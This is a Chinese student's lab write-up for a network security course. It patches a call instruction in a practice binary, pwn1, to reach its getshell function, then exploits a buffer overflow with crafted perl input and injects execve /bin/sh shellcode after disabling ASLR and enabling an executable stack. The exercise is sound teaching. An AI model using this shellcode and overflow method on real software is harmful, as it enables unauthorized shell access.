2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解
实验内容及步骤
第一部分:直接修改程序机器指令,改变程序执行流程
关键:通过修改call指令跳转的地址,将原本指向被调用函数入口的地址修为getshell函数入口的地址,从而达到目的
对pwn1进行反汇编,分析函数执行的步骤
objdump -d pwn1

getshell函数入口地址为
0x0804847dfoo函数入口地址为
0x08048491main函数中调用foo函数的机器码为
e8 d7 ff ff ff,CPU就会转而执行“EIP +0x d7ffffff”这个位置的指令,在执行call之前EIP为0x080484ba

0xd7ffffff是补码,表示-41调用foo时地址差:
0x080484ba+0xd7ffffff=0x08048491修改执行流程时的地址差:
0x080484ba+0xc3ffffff=0x0804847d
操作:
vim pwn1编辑pwn1

:%!xxd进入十六进制模式

/d7查找内容

将
0xd7ffffff修改为0xc3ffffff

:%!xxd -r转换为原进制保存
结果验证:

通过构造输入参数,造成BOF攻击,改变程序执行流
关键:
1、构造出用于BOF攻击的字符串
2、将字符串中的getshell命令覆盖在栈帧中正确的位置,即执行ret函数时压入的返回地址
为了得到恰好覆盖到返回地址的字符串长度,进行输入运行尝试。
进入GDB调试,并对pwn1输入1111111122222222333333334444444412345678

得到覆盖在返回地址的字符ASCII码值
0x34333231即1234。因此,我们只需要将字符串中“1234”替换为getshell的返回地址0x0804847d由于无法直接敲入16进制的数,所以先生成包括字符串的文件
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

结合文本输出命令
cat与管道符|,将input的内容作为./pwn1的输入。验证结果:攻击成功

Shellcode注入攻击
- 准备:
apt-get install execstack安装execstack
# execstack -s pwn1 //设置堆栈可执行
# execstack -q pwn1 //查询文件的堆栈是否可执行
# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
# more /proc/sys/kernel/randomize_va_space //查看地址随机化是否已经关闭

- 打开终端注入攻击

- 查询其进程号,并进入gdb调试观察寄存器地址

gdb
attach 34238
disassemble foo
break *0x080484ae
c(运行pwn1的终端按下回车后)
info r esp
x/16x 0xffffd21c



得到开始的shellcode地址:0xffffd220
````perl -e 'print "A" x 32;print "\x20\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xd3\xff\xff\x00"' > input_shellcode```
- 验证:成功注入

遇到的问题
1、在做构造字符串时,将得出的shellcode地址替换错了位置,导致一直提示非法指令

解决:在一遍遍核对地址后,发现ExpGuides博客里有坑- - 然后看了后面部分才纠正了错误。
实验感想
- 本次的实验主题是我们一直都很熟悉的名字,但却是第一次尝试缓冲区溢出攻击,十分有趣。实验中,我们也复习了上学期信息安全系统设计基础的相关内容,比如栈帧。同时对缓冲区溢出的原理有了更加深入的理解。不过过程中也出现了很多问题,比如kali机的dns配置问题,我之前装好后只是尝试ping网关,发现能ping通后就没有进一步配置,但是当我安装execstack时一直提示无法解析,然后我又翻了很多博客才成功解决了该问题。后来,由于我对构造的字符串了解不够,也花费了很多时间。
问题回答
- 什么是漏洞?漏洞有什么危害?
- 漏洞则是软件编程过程中的缺陷,就像本实验中的缓存区太小一样,很容易溢出覆盖了栈帧中的其他区域。漏洞会对系统的稳定性和安全性造成影响,会造成信息泄露或者权限盗用等严重后果。
- NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:90
JNE:75
JE:74
CMP:
CMP reg8/mem8,reg8:38
CMP reg16/mem16,reg16:39
CMP reg8,reg8/mem8:3A
CMP reg16,reg16/mem16:3B
CMP al,immed8:3C
CMP ax,immed16:3DJMP:
Jmp near:E9
Jmp far:EA
Jmp short:EB
Jmp word:FF
2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解的更多相关文章
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...
- 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215
2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...
- 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...
- 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3
<网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...
随机推荐
- canal demo搭建全记录
一.环境介绍 canal是阿里开源的中间件,主要用于同步mysql数据库变更.具体参见:https://github.com/alibaba/canal/releases 搭建环境: vmware c ...
- linux常用命令 print格式输出
格式化输出命令 printf '输出类型 输出格式' 输出内容 输出类型: %ns 输出字符串,n是数字指代输出的几个字符 %ni 输出整数,n是数字指代输出几个数字 %m.nf 输出浮点数.m和n是 ...
- EXTENDED LIGHTS OUT
In an extended version of the game Lights Out, is a puzzle with 5 rows of 6 buttons each (the actual ...
- mybatis-generator 代码自动生成工具包
怎么用mybatis-gennerator插件自动生成mybatis所需要的dao.bean.mapper xml文件.请看↓ 1.在D盘新建一个文件夹,命名:generator(或者其他盘其他名字也 ...
- mobike
1.单向链表的原地反转 public class A { public A next; private int n; public A(int n) { this.n = n; } public st ...
- 福大软工 · 第十二次作业 - Beta答辩总结
第三视角Beta答辩总结 博客链接以及团队信息 组长博客链接 成员信息(按拼音排序) 姓名 学号 备注 张扬 031602345 组长 陈加伟 031602204 郭俊彦 031602213 洪泽波 ...
- Python读取xlsx文件
Python读取xlsx文件 脚本如下: from openpyxl import load_workbook workbook = load_workbook(u'/tmp/test.xlsx') ...
- Unity 关于AssetBundle读取场景
一. 1.关于如何打包成ab包,就不多说了,网上很多教程,siki学院也有siki老师的免费视频教程挺详细的,可以看看 http://www.sikiedu.com/my/course/74 2.为了 ...
- [转载]关于laravel中表关系的一对一、一对多、多对一、多对多实践
这是转载的文章 出处:https://blog.csdn.net/weixin_38112233/article/details/79220535 作者:重新遇到 一.建表和插入测试数据 1.用户表建 ...
- python 全栈开发笔记 1
将自己的姓名用进制表示出来 #自己姓名的进制表示 name=input('请输入你的名字:') for i in name: print(i) # python 3 中是按字符进行循环的 bytes_ ...